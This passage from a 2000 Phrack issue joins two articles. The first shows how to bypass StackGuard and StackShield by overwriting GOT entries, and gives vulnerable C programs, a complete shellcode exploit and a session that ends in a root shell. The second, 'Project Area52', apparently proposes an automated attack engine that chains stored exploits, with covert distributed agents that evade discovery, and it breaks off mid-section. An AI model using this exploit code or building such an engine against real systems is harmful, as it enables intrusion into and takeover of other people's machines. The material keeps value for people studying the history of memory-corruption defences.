Segmentation fault (core dumped)

Hrm. That didn't work.

Unfortunately, as it happens, the printf() string contained special shell characters. In most cases if we exploit printf() to execute system() it will execute things like "Here we blah, blah and blah", so all we need is to create a "Here" shell script in our working directory (yes, we need our suid program to not set the PATH variable).

So what to do with our unexpected ':)' token?

Well it depends, sometimes you just have to forget about printf() and try to find a function that is executed after our exploitation, such that it takes plain text as the last argument. Sometimes, however, we can get luckier... Imagine that our a[] buffer is the last local variable, so arguments passed on to functions called by our vulnerable function are just next to it on stack. What if we persuade __libc_system() to skip the canary pushing? We can achieve that by jumping to __libc_system()+5 instead of __libc_system(). Well, we'll end up with +arguments shifted one place forward (i.e. arg1‑>arg2...), and the first 4 bytes of the last local variable on the stack are treated as the first argument. The printf() call we're trying to abuse takes just one argument, so the only argument that system() will get is pointer contained in the first 4 bytes of a[]. Just make it point to "/bin/sh" or something similar.

Overwriting the GOT works for StackGuard, StackShield and StackPatch. It can be used in case we cannot manipulate the whole content of what we're copying but only parts of it (as in wu‑ftpd).

‑‑‑‑| "Oily way"

The reader may think we're only showing her naive examples, that are probably not going to be found in the field. A vulnerable function that gets as its arguments a whole table of strings is somewhat uncommon. More often you'll find functions that look like this:

int f (char *string) {

[...]

char *p;

char a[64];

[...]

Check this out:

char dst_buffer[64]; /* final destination */

int f (char * string)

{

char *p;

char a[64];

p=dst_buffer;/* pointer initialization */

printf ("p=%x\t ‑‑ before 1st strcpy\n",p);

strcpy(a, string); /* string in */

/* parsing, copying, concatenating ... black‑string‑magic */

/* YES, it MAY corrupt our data */

printf ("p=%x\t ‑‑ after 1st strcpy\n",p);

strncpy(p, a, 64); /* string out */

printf("After second strcpy ;)\n");

}

int main (int argc, char ** argv) {

f(argv[0]); /* interaction */

printf("End of program\n");

}

You interact with the vulnerable function by passing it just one string...

But what if we're dealing with a system that has nonexecutable stacks, and libraries mapped to some strange address (with NULLs inside of it)? We cannot patch the GOT with our address on the stack, because stack is not executable.

It may look like we're screwed, but read on! Our system is x86 based, and there are a lot of misconceptions about the ability to execute certain memory pages. Check out /proc/*/maps:

00110000‑00116000 r‑xp 00000000 03:02 57154 00116000‑00117000 rw‑p 00005000 03:02 57154 00117000‑00118000 rw‑p 00000000 00:00 0

0011b000‑001a5000 r‑xp 00000000 03:02 57139 001a5000‑001aa000 rw‑p 00089000 03:02 57139 001aa000‑001dd000 rw‑p 00000000 00:00 0

08048000‑0804a000 r‑xp 00000000 16:04 158 0804a000‑0804b000 rw‑p 00001000 16:04 158 <‑‑ The GOT is here bfffd000‑c0000000 rwxp ffffe000 00:00 0

The GOT may seem to be non‑executable, but SUPRISE! Good ole' Intel allows you to execute the GOT where ever you wish! So all we have to do is stick our shellcode there, patch the GOT entry to point to it, and sit back and enjoy the show!

To facilitate that, here's a little hint:

We just have to change two lines in supplied exploit code:

*p=0x8049f84;// destination of our strncpy operation

[...]

*p=0x8049f84+4;// address of our shellcode

All we need is a copy operation that can copy the shellcode right where we want it. Our shellcode is not size optimized so it takes more than 40 bytes, but if you're smart enough you can make this code even smaller by getting rid of jmp, call, popl (since you already know your address).

Another thing we have to consider are signals. A function's signal handler tries to call a function with a fucked up GOT entry, and program dies. But that is just a theoretical danger.

What's that now?

You don't like our vulnerable program?

It still looks somewhat unreal to you?

Then maybe we'll satisfy you with this one:

char global_buf[64];

int f (char *string, char *dst)

{

char a[64];

printf ("dst=%x\t ‑‑ before 1st strcpy\n",dst); printf ("string=%x\t ‑‑ before 1st strcpy\n",string); strcpy(a,string);

printf ("dst=%x\t ‑‑ after 1st strcpy\n",dst); printf ("string=%x\t ‑‑ after 1st strcpy\n",string);

// some black magic is done with supplied string

strncpy(dst,a,64);

printf("dst=%x\t ‑‑ after second strcpy :)\n",dst);

}

main (int argc, char ** argv) {

f(argv[1],global_buf);

execl("back_to_vul","",0); //<‑‑ The exec that fails

// I don't have any idea what it is for

// :)

printf("End of program\n");

}

In this example we have our pointer (dst) on the stack beyond the canary and RET value, so we cannot change it without killing the canary and without being caught...

Or can we?

Both StackGuard and StackShield check whether RET was altered before the function returns to its caller (this done at the very end of function). In most cases we have enough time here to do something to take control of a vulnerable program.

We can do it by overwriting the GOT entry of the next library function called.

We don't have to worry about the order of local variables and since we don't care if canary is alive or not, we can play!

Here is the exploit:

/* Example exploit no. 4 (c) by Lam3rZ 1999 :) */

char shellcode[] = // 48 chars :)

"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh";

char buf[100];

int * p;

main() {

memset(buf,'A',100);

memcpy(buf+4,shellcode,48);

p = (int *)(buf+80); // <=‑ offset of second f() argument [dest one]

*p=0x8049f84;// <<== GOT entry of printf

p = (int *)(buf);

*p=0x8049f84+4;// <<== GOT entry of printf+4, there is our shellcode :)

execle("./vul2","vul2",buf,0,0);

}

And the result:

[root@sg]# ./a.out

p=804a050 ‑‑ before 1st strcpy

argv1p=bfffff91 ‑‑ before 1st strcpy

p=8049f84 ‑‑ after 1st strcpy

argv1=41414141 ‑‑ after 1st strcpy

bash#

‑‑‑‑| Conclusion

1) StackGuard/StackShield can save you in case of accidental buffer overflows, but not against a programmer's stupidity. Erreare humanum est, yeah right, but security programmers must not only be human, they must be security‑aware‑humans.

2) ‑ By auditing your code ‑ you may waste some time but you'll surely increase the security of the programs you're writing.

‑ By using StackGuard/StackShield/whatever ‑ you may decrease your system performance but in turn you gain additional layer of security. ‑ By doing nothing to protect your program ‑ you risk that someone will humiliate you by exploiting an overflow in your code, and if it happens, you deserve it!

So, be perfect, be protected, or let the others laugh at you.

We welcome any constructive comments and improvements. You can contact us on Lam3rZ mailing list at <lam3rz@hert.org>.

Yes, yes... We know! No real working exploit yet :( We're working on it. Keep checking:

http://emsi.it.pl/

and

http://lam3rz.hack.pl/

‑‑‑‑| Addendum: Jan 5, 2000

We solved the problem with StackGuard on a system with Solar Designer's non‑executable stack patch. We're not sure what caused the problem, but to avoid it, enable 'Autodetect GCC trampolines' and 'Emulate trampoline calls' during kernel configuration. We were running Slackware Linux without StackGuard and trampolines but with non‑executable user stack but StackGuarded RH Linux refused to work in such a configuration... :)

‑‑‑‑| Some GreetZ

A18 team, HERT, CocaCola, Raveheart (for "Nelson Mengele..." song). Nergal, moe by si tak ujawni? ;)

Po raz kolejny chcialbym zaznaczyc, ze jestem tylko zwyczajnym Lam3rem.

‑ Kil3r

people I've been drinking with ‑ because i've been drinking with you :) people I'd like to drink with ‑ because i will drink with you :) people smarter than me ‑ because you're better than I am Ê£Ó¯1/4 ‑ for being wonderful iso‑8859‑2 characters Lam3rz ‑ alt.pe0p1e.with.sp311ing.pr0b1emZ :)

koralik ‑ ... just because

‑ Bulba

‑‑‑‑| References

[1] Crispin Cowan, Calton Pu, Dave Maier, Heather Hinton, Jonathan Walpole, Peat Bakke, Steave Beattie, Aaron Grier, Perry Wagle and Qian Zhand. StackGuard: Automatic Adaptive Detection and Prevention of Buffer‑Overflow Attacks http://www.immunix.org/documentation.html

[2] Crispin Cowan, Steve Beattie, Ryan Finnin Day, Calton Pu, Perry Wagle and Erik Walthinsen. Protecting Systems from Stack Smashing Attacks with StackGuard http://www.immunix.org/documentation.html

[3] Security Alert: StackGuard 1.21 http://www.immunix.org/downloads.html

[4] klog. The Frame Pointer Overwrite http://www.phrack.com/search.phtml?view&article=p55‑8

[5] Rafal Wojtczuk. Defeating Solar Designer's Non‑executable Stack Patch http://www.securityfocus.com/templates/archive.pike?list=1&date=1998‑02‑01&msg=199801301709.SAA12206@galera.icm.edu.pl

‑‑‑‑| Authors' note

This article is intellectual property of Lam3rZ Group.

Knowledge presented here is the intellectual property of all of mankind, especially those who can understand it. :)

Project Area52

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x06[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ PROJECT AREA52 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Jitsu‑Disk <jitsu@nmrc.org> ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑‑‑‑‑‑ Simple Nomad <thegnome@nmrc.org> Irib <irib@nmrc.org> ‑‑‑‑‑‑‑‑‑‑‑|

"Delirium Tremens"

‑‑‑‑| Background

Military tactics have evolved along with technology. Reaching an objective is done with computed strategies gathering the impact of warfare on the field. This information is used to plan the next offensive. As the NSA has pointed out, cyber‑warfare happens much like its real‑life counterpart, hence the same intelligence can be used. This draft will try to explore the means and tools with which to build an automated attack engine based on a universal classification of attack strategies (regardless of the actual attacks).

‑‑‑‑| Classification

Writing the proper classification of computer attacks actually fills entire books [1], yet we can devise levels of access ‑‑ Read, Write and Modify ‑that an attacker can gain over a system. The steps to achieve your goal will vary depending upon whether you are attacking remotely, locally, or even physically. Achieving the goal is also dependent upon the security policy of the targeted system.

The objective of the classification is to provide a means to universally describe the levels of acquired access, depending on one's situation.

Later we will explore the building of a generic engine to defeat various security policies on target systems through the steps described in the classification.

To illustrate this we will attempt to define the classification of remote intrusion, based upon the OSI model. A similar classification for physical and local intrusion can be derived, although this paper will mainly focus on the remote element.

Various levels of access holds both logical properties and mathematical ones. For example, a logical property might be "if you can read the TCP/IP stream you can read the networked layer". A mathematical example might be "the Write property is intransitive; you can spoof traffic on the network yet not Modify existing data or hijack a session". The mathematical issues are left as an exercise to the reader, the logical ones will be used as the basis for the attack engine.

The following is our classification:

[ Acc : Access level

M = Modify capabilities

W = Write capabilities

R = Read capabilities ]

Situation : Remote

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

OSI Layers Acc Implication

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

| Application |

| 6 | M Application rights, compromise all layers below | | W DoS, unprivileged access | | R Data gathering |‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| Session |

| 5 | M Session redirection, compromise all layers below | | W DoS, service scanning

| | R Session Data gathering |‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| Presentation |

| 4 | M Redirection, compromise all layers below | | W DoS, scanning

| | R Data gathering |‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| Transport |

| 3 | M Redirection, compromise all layers below | | W DoS, scanning

| | R Data gathering |‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| Network |

| 2 | M Redirection, compromise all layers below | | W DoS, scanning

| | R Data gathering |‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| Data Link |

| 1 | M Redirection, compromise all layers below | | W DoS, scanning

| | R Data gathering |‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| Physical |

| 0 | M Redirection

| | W DoS, scanning

| | R Data gathering *‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

This attack‑based model works top/down: if you can control the Application (Modification rights to what it does), all dependent layers are compromised. To be more specific, all dependent layers of the specific process you control are now "owned" by you. If you control sendmail you may fool around with all associated network functions, in the scope of access rights. Hence, if we define our "attack goal" to be "running a shell as root on the target system", a listening sendmail daemon running as root would be a good target. If sendmail is compromised to the point of executing commands as root, the remote attacker could easily gain a root shell, thereby meeting the goal. If the goal was to establish a covert channel to the target for Denial of Service (DoS) purposes or for launching further attacks, then appropriate actions would be taken.

On the other hand, having control of a lower level layer doesn't automatically guarantee you control of the above layer. For example, as an attacker you might be sniffing the network and see two computers exchanging data. But if this conversation is encrypted (and assuming you cannot decrypt the session) you could at best simply disrupt the conversation ‑‑ you would not control it.

On the same layer their is a subtlety regarding the Read and Write capabilities: being able to Read and Write only your own data is of limited interest from an attacking standpoint, port scanning notwithstanding. Hence we assume Read and Write capabilities are reached if you can Read and/or Write data we don't "own".

Given the above definition of Read/Write for a layer, if one can both Read and Write a layer it MAY be able to Modify it at that layer as well. However if encryption is in use, this is not guaranteed. Therefore Read/Write capabilities on a layer is required yet insufficient for Modify capabilities.

On a perfectly designed and secured system, one should not be able to get additional rights on a higher layer. The attack engine works by exploiting security breach to progressively reach a desired goal given a starting point. For instance, achieving administrative access by starting with just the IP address of the victim.

In order to illustrate some of this, let's define a very primitive "Local Situation Access Classification" :

LS

6 kernel level (R,W,M)

5 drivers level (R,W,M)

4 process level (R,W,M)

3 user/group admin (R,W,M)

2 user/group "average" (R,W,M)

1 user/group null (R,W,M)

Now that we hold a classification hierarchy of access level, we need to apply this to the security breach we know of.

For example in the NMRC Pandora project, a Hijacking attack called "Level 3‑1" would be referenced in this manner:

Name Systems Versions Level required Level gained

‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑

"Level 3‑1" "Novell" "4.11","5 IPX" "Remote 3 M" "Local 3 R W"

This hack works on two levels ‑‑ a remote compromise of the IPX session, and the payload that will actually give you admin privilege.

Another attack from Pandora called "GameOver" that exploits a bug looks like so:

Name Systems Versions Level required Level gained

‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑

"GameOver" "Novell" "4.11","5 IPX" "5 W" "Local 4 R W"

In this case the process attacked is Bindery Supervisor equivalent in rights. The Bindery Supervisor holds a restricted set of the Admin rights. In this example we clearly see that this primitive description of Local Situation doesn't quite fit ‑‑ although we have achieved a higher level we have a restricted set of rights compared to previous attack. A better Classification is to be devised.

The NMap[2] tool would be:

Name Systems Versions Level required Level gained

‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑

"NMAP" "ALL" "ALL" "3 W*" "5 R*"

W* and R* mean Write and Read in a restricted sense. Write implies valid data you can legitimately write, Read data that you "own".

Two advantages are immediately obvious from this approach

‑‑ Recognition of re‑usability in attacks (e.g. if you only have R*/W*

access in a 3com switched environment running an attack to overload the switch MAC table would provide you with R/W access and opens doors to new attacks).

‑‑ Independence of the type of code used for the attacks (scripts, Perl, C, etc.) with the actual hack engine.

To facilitate the reference, the web's most popular hack archives [3][4][5] could automate this in their commentary. This will be highlighted in the next section.

Before we get there let's refine the classification method:

Assumptions

‑‑‑‑‑‑‑‑‑‑‑

(1) For each situation (via network, via local process, via physical access) a set of layer between you and the goal are defined. (2) Each layer, independent from any other, are linked top‑down. (3) A layer is defined by its uniqueness and the ability to associate Read/Write and Modify access levels for it.

Implications

‑‑‑‑‑‑‑‑‑‑‑‑

(1) Modify access in the highest layer implies control of all the preceding layers (Layer N+1 includes Layer N), restricted by the given Classification (in a Remote Situation that would be the process's dependant layers, in a Local Situation, the runlevels).

(2) R/W/M access is a superset of R*/W*/M* where R*/W*/M* is the

legitimate privilege access for a layer and R/W/M includes access to more privileges for the same layer (M>M*,W>W*,R>R*).

(3) Read/Write access to a layer is required to gain Modify access but is not sufficient.

(4) The concept of security breach comes from the fact that there exists a way to gain access to a higher layer (or access level) by defeating the security policy protocol between two layers (or access levels).

For classification to be really universal and easily implemented, the three situations (Remote, Local, Physical) must be devised in layers that apply to all known systems. This might sound a bit utopic, yet the OSI model for remote access seems universal enough since virtually every networked system is either based on it or can be appropriately mapped against it. For Local access to a system (via a remote shell, local session or whatever) to be properly specified in layers, we should first look into what could be universally considered as local system security layers such as run levels, groups and users and hardware access (this has yet to be done). Physical access, brings into light a world ruled by other means than just electricity, so things might not be so obvious.

‑‑‑‑| Storage : A Hack Database

Now that we have a Universal Classification for Remote, Local and Physical access, let's set the following abbreviations:

Remote Situation : RS

Local Situation : LS

Physical Situation : PS

Layer N : L(N) Layer N‑1 : L(N‑1)

Read access : R

Write access : W

Modify access : M

Restricted Read access : R*

Restricted Write access : W*

Restricted Modify access : M*

A privilege level is defined by the "tuple" : (situation, layer(x), access). For example, ability to modify the application sendmail remotely (given OSI model above) would be sendmail (RS,L(6),M). A remote buffer overflow in sendmail, that just requires an attacker to send a mail to the daemon would be listed this way:

Name Systems Versions Level required Level gained

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sendmail‑sploit All Unix Sendmail 8.10.1 (RS,L(6),W*) (LS,L(3),M)

We would also store the attack code in the database as well (remembering the actual attack engine will be separate).

The stored code would return a value indicating attack success or failure, and could also return parameters to be used with further attacks on completion. For instance, a successful remote Sendmail buffer overflow would return TRUE and a handle to the remote shell; then the attack would be taken to the LS level where local attacks would be run to get runlevel 0 access (or root). This means the attack engine would run stored functions in a dynamic database, such as:

*‑‑‑‑‑‑‑‑‑‑‑‑* *‑‑‑‑‑‑‑‑‑‑‑*

| Attacks | | Results |

*‑‑‑‑‑‑‑‑‑‑‑‑* *‑‑‑‑‑‑‑‑‑‑‑*

| Attack_ID | | Result_ID |

| Name | | Type |

| System | 0,1‑‑‑0,N‑> | Identifier|

| Version | *‑‑‑‑‑‑‑‑‑‑‑*

| Level Req | | Handle |

| Level Gain | *‑‑‑‑‑‑‑‑‑‑‑*

*‑‑‑‑‑‑‑‑‑‑‑‑*

| Code |

*‑‑‑‑‑‑‑‑‑‑‑‑*

Attack_ID and Result_ID are unique.

The relation between the Attack table and the Result table is "one to many". An attack could have been completed successfully on various targets. A "result" is linked to one and only one attack.

In the result table the Type defines whatever it is, a temporary hack or a permanent one (like a backdoor), the Identifier specifies a unique name to the target (IP address, DNS name...).

The handle would be a pointer to a successful hack, based on the situation, i.e. in a Remote attack a pointer to a Libnet[6] structure, in a Local attack a pointer to a shell, a remote cmd.exe...

The "Code" part in the "Attack table" would be either the source code, which means we have a built‑in compiler in the engine, the attack binary code that would require platform specific code to be pre‑built, or some sort of scripting language we would rewrite all attacks with (see Nessus in comparison chapter below).

Those specifications are far from completed and the database is very simple, but you get the point. The idea is to separate on the diagram what is gained from knowledge (Attacks), to what is gained in the wild (Results). Just as an example, that could be :

(known exploits code) Systems‑0,1‑0,N‑Vulnerabilities‑0,N‑0,1‑Instructions

(known systems) | (known related instructions/daemons/programs...) |

0,1

|

0,N

|

Result (handles to hack, Libnet stack, shell ...) | (& collected info, e.g. [10.0.0.1] is [Novell 5sp3]) 0,N

|

0,1

|

Target (standard specification of target IP,Name...)

This approach implies either standardized interfaces of hacks (normalized input parameters and output handles), or a "Superset Code" could be written, that given the attacks specifications (input parameters, Level Req'd, Level Gained), would wrap the attack, run it, and return values in our standard form. Since writing regular expression engines is, ahem, NOT fun maybe we could decide for the first solution.

With respect to what we have seen in the Classification of the Remote Situation, we stated that compromising a layer is understood in the restricted sense of the attacked application's layers. Yet we could assume that compromising an application, say Sendmail, would give you control over another one, maybe DNS in this case. We need to be able to describe this in the database ‑‑ compromising an application might give you control over some others. A schematic representation would be:

0,1‑[hack_id]‑0,N (recursive link ‑ a hack grants you access to more than) | | (one system/instructions)

(known exploits code)

(and access levels) Systems‑0,1‑0,N‑Vulnerabilities‑0,N‑0,1‑Instructions

(known systems) | (known related instructions/daemons/programs...) |

0,1

|

0,N

|

Result (handles to hack, Libnet stack, shell ...) | (& collected info, e.g. [10.0.0.1] is [Novell 5sp3]) 0,N

|

0,1

|

Target (standard specification of target IP,Name...)

So we have now a pretty good idea of what the unified hack database would look like:

1) A knowledge database of known systems, systems instructions and associated exploits.

2) The database would have a standard for describing all fields. 3) It would define the level required/level gained "tuples" (situation, layer(x),access), for each known exploit.

4) Exploit code would be stored in the database and follow a standard representation of the interface (normalized input parameters and output handles).

There exists today an international effort for a standard way to describe exploits. Such databases are in their infancy, but strong projects like CVE[7] are certainly breaking new ground.

The aim of such standardization is to achieve unified descriptions of attack scenarios (to be used in attack automation, either via vulnerability assessment tools or actual penetration tools). Therefore our attack engine would offer three modes:

‑ Simulation (no actual attack performed, but we could use results for vulnerability assessments, future attack scenarios, etc),

‑ Manual (attack performed manually, no wrap code, like the mils;‑)), ‑ Automated (the ultimate Hacking Machine).

‑‑‑‑| Artificial Intelligence

The reader might not be trained in AI, so let's attempt to define some of the principles we need for this discussion.

‑‑| Intelligence

AI is by no means meant to "create", but rather to "think". Thinking, logically and reproducibly, is a process, therefore it may be mimicked by a machine. In fact, given the proper thinking strategy and process a computer solves known problems much faster than humans. Building a new Hack is a simple process if the methodology is known. If the methodology is not known you must create it. When no logical path takes you to where you want to go you have to create a new Hack when it can't be related to any other hacks. The new Hack then enrichs the world of known hacks, and can possibly be added to the overall Hack process. It is assumed that AI can solve our problems, given the following restrictions:

1) The problem solving time is, generally, unpredictable and may even take years if done manually.

2) The problems that can't be solved because an individual doesn't hold enough "process knowledge" for resolution (or the knowledge necessary can't be described with the formalism we've chosen, see the Godel theorem of incompleteness and the book "Godel Escher Bach, The Eternal Golden Braid" by Douglas Hofstadter).

In other words, any system can be hacked; granted we have enough time and known hacks for this purpose.

‑‑| Inference

The "thinking engine" we want to use here will have to use known facts (hacks) against field results, to explore the paths that takes us to the ultimate goal (or result). Such engines are described in AI as "inference engines", starting from the goal and finding a possible path to the knowledge base is called "backward inference", starting from the knowledge base and finding a path to the goal is called "forward inference". In the present case "backward inference" is only good for simulation, but in the field we can only use "forward inference" (which is algorithmically known as being slower than backward inference).

The initial theory behind inference engines is based on two "logic" rules, one for forward inference called Modus Ponens (MP) the other for backward inference called Modus Tollens (MT). MP states that [if (P) AND (P includes Q) THEN (Q)], MT says [if (NOT Q) AND (P implies Q) THEN (NOT P)].

‑‑| The Inference Engine

Algorithmically speaking, the Inference Engine is a recursive algorithm that takes a set of known facts as input (target is www.blabla.bla), processes it against the database of rules (if RedHat 5.0 then SendMail is vulnerable) and adds a new facts to the set (if target is RedHat 5.0 then target is vulnerable to SendMail bug). The engine stops when either we have reached our goal (target is compromised) or we can't add anything new to the set of facts (all possibilities have been explored). In order to optimize the process, the Inference Engine is set to use strategies in choosing which rules to test first (buffer overflow might be easier to try than "tmp race", so we set the engine to try a buffer overflow first). As discussed in the following "distributed" section, it is essential to see that the hacking process is not in the engine itself, but in the database rulesets. For instance, tests would be performed to understand the target installation/setup/OS and match the subsequent hacks, the engine provides the mechanism for this and the rulesets the paths to understand how one must attack. It is in the description of the ruleset that we have the actual "Intelligence", hence if a new OS appears on the market with a new security mechanism, we do not need to rewrite the engine, but specify new rules specific to this OS.

‑‑| An Inference Engine of order 0

Consider a ruleset that contains no variables, only static facts:

If monkey close to tree, monkey on tree

If monkey on tree AND banana on tree, monkey eat banana

We use "order 0" inference engine (O.K AI pals, this is not quite the definition, yes there is a whole theory behind this, we know, don't flame us).

With the initializing fact

monkey close to tree

we will get

monkey on tree

and finally

monkey eat banana

‑‑| An Inference Engine of order 1

If the ruleset contains variables :

If monkey close to (X), monkey on (X)

If monkey on (X) AND banana on (X), monkey eat banana

The inference engine that processes the rules and operates variable substitution is said to be of order 1 (And if you're curious to know, there is no engine of order 2 or higher, all problems are proven to be described in order 1). This is the type of engine we want to use, as it allow us to use variables ‑‑ they will be the "handles" resulting of our hacks.

‑‑| Pattern Matching

Just like there are interpreted languages and faster‑running compiled ones, there are AI Inference Engines based on "interpreted rulesets" and other based on "compiled rulesets". Compiling the ruleset means you have to rearrange it in such a way that is "immediately efficient". The compilation method we're interested in is called Pattern Matching and is based on binary trees. For instance, lets assume the following:

Initial database:

Name Systems Versions Level required Level gained

‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑

d0_v8‑BOF Unix,All Sendmail 8.8.* (RS,L(6),W*) (LS,L(3),M) d0_v9‑BOF Unix,All Sendmail 8.9.1 (RS,L(6),W*) (LS,L(3),M)

Ruleset:

if system[X] is Unix AND Version[Y] is Sendmail 8.8.* AND Level_s[Z] is RS AND Level_l[Z] is 6 AND Level_a[Z] is W* AND Hack(d0_v8‑BOF,X) THEN Level_a[Z] is [LS,L3,M]

if system[X] is Unix AND Version[Y] is Sendmail 8.9.1 AND Level_s[Z] is RS AND Level_l[Z] is 6 AND Level_a[Z] is W* AND Hack(d0_v9‑BOF,X) THEN Level_a[Z] is [LS,L3,M]

Compiled ruleset for pattern matching:

system

|

[Sendmail]

|

version

|

[UNIX]

|

level_s

|

[RS]

|

level_l

|

[6]

|

level_a

|

[W*]

|

FUNC

/ \

/ \

/ \

/ \

[d0_v8‑BOF] [d0_v9‑BOF]

\ /

‑‑‑‑‑‑‑‑‑‑

|

*

level_s [L]

level_l [3]

level_a [M]

[] are used to represent variables, filled in for clarity

The tree is parsed from the top every time a new fact is added to the knowledge database, and this allows for a dynamic‑algorithm (i.e. intelligent self‑modifying knowledge base). When the tree is parsed and brings in a new fact, the knowledge base is increased with this fact, and the tree is parsed again for more facts...

Since an attack happens in different phases (see distributed chapter below), facts may have different impacts. They may just be collected facts (system is RH6.0, buffer overflow on sendmail possible, "poor default config" exploit on sendmail possible), or facts that trigger attacks (buffer overflow and "poor config" exploits possible, rule says test config first ‑‑ config exploit will be tested and result added to database, we gain new rights or we move on).

Optimization comes from the fact that whereas in the flat ruleset sample all rules must be parsed to find the matching one, in a tree‑like representation a simple pattern matching mechanism shows the right branch. Although it's a pain to compile such a ruleset into a tree is not obvious for a few rules on our database, it really shows if the database contains thousands of facts. Besides, once the database is compiled into a tree, it's done and you dont have to do it again (insertion of new elements into a tree is possible, yet the tree could also be recompiled on each new addition).

More optimization, not for engine itself but in the hacking sense, can be achieved if we set some "grading rules" per attack and organize the tree this way ‑‑ say we know two attacks for Sendmail, same version, one relies on a complex buffer overflow and the other on misconfiguration. The misconfiguration should be tried first (if the buffer overflow fails we might kill Sendmail altogether), hence given a higher mark. This marking process would look at two factors ‑‑ the level required to perform attack and method use, for instance:

Situation ‑ Grade ‑ Level ‑ Grade ‑ Method ‑ Grade

Remote +100 6 +60 Config +3

Local +200 5 +50 Filesys +2 4 +40 BuffOver +1

...

The guarding mechanism can be automated in the AI, the method is another piece of information to be Classified and stored in the Hack Database.

‑‑| A Pattern Matching, Forward Inference Engine of Order 1

So what we're looking for is :

An AI engine, of forward inference type, of order 1. The engine is better optimized, like in pattern matching for instance and it allows for function executions.

An academic sample of such an algorithm is the RETE algorithm (beyond the scope of this preliminary discussion) and the interested reader is directed to the paper by Charles L. Forgy in "Artificial Intelligence" : "The RETE Matching Algorithm" (Dept of Computer Science, Carnegie‑Mellon University). You could also look into a similar systems called OPS and TANGO ("OPS5 user's manual" by the same author and "TANGO" by Cordier‑Rousset from L.R.I of Orsay Faculty in France). Working code of RETE can be found at the MIT repository [8]. You can also check Pr. Miranker's Venus project [9]. Original code for OPS exists in LISP [10]. However, the one piece of work that would definitely match our expectation is a system called CLIPS, written in C, by NASA (initially by NASA, but now it is maintained in the public domain) [11].

‑‑| The Hacking Engine

The engine will first query the database of facts for all known hacks sorted in the classification form we defined along with systems and versions information, these known hacks are written as a set of rules the exact representation of hacks into rules is linked to the engineitself and is yet to be defined.

Then this ruleset is compiled into a binary tree (or some other efficient data structure) for better optimization, provided a proper optimizing strategy (which may branch to the left‑most side for instance, maybe granted a difficulty grade per attack). The optimizing strategy might take the classification rules into account to decide that if a higher level is reached, all branches that refer to lower level attacks must be ignored ‑‑ this would be a called "restrictive optimization".

The engine is initialized with the initially known facts (target id), and starts applying rules to these facts in order to get more information out of them, until the goal is reached or all branches have been explored. The engine in simulation mode would only use the initializing facts and match function calls with them, in manual mode the hacker would be provided the function code by the engine that would then wait for the result, in automatic mode the engine would run the code itself.

‑‑‑‑| Distributed paradigm

Distributed hacking theory, analysis and advantage has been extensively reviewed in an excellent article by Andrew J. Stewart entitled "Distributed Metastasis [12]. Hence we will base this proposed implementation on it, please refer to the above article.

‑‑| Distributed Schematic

In a distributed attack, the attacker (A) is the "parent" of all nodes (agents). Each node is characterized by a running agent (the hacking engine), its address (IP,IPX...), and the level the agent is running at. For instance:

[10.0.0.1,A,parent], knows (10.0.2.1,10.0.2.5,10.0.3.1)

|

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑

|

[10.0.3.1,A1,(LS,L(3),M)] [10.0.2.1,A2,(LS,L(3),M)], knows 10.0.2.5

[10.0.2.5,A3,(LS,L(3),M)]

The attacker knows the existence of all nodes, but communicates through the hierarchy (to send a command to 10.0.2.5, he issues this to 10.0.2.1 for routing). This keeps risk to a minimum, should any of the agents be discovered. When 10.0.2.5 tries to talk to the attacker, he sends stuff via 10.0.2.1 ‑‑ A3 knows A2 but not A. It is obvious that if any of the nodes are to be uncovered, attached parent node and child nodes could be too. In this case, the Attacker could issue a direct order to any of the potentially compromised agents to either "attach" themselves to somewhere else, or to sacrifice the agent's "territory" and have the agent eliminate itself.

Example: Agent 10.0.2.1 was discovered, the Attacker decides to attach 10.0.2.5 to 10.0.3.1 and sacrifice 10.0.2.1.

[10.0.0.1,A,parent], knows (10.0.2.5,10.0.3.1)

|

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑

|

[10.0.3.1,A1,(LS,L(3),M)] x

|

[10.0.2.5,A3,(LS,L(3),M)]

To ensure better privacy, encryption is to be used at each node for the database of "parent&child" they have.

At least two other secret‑routing systems can be used:

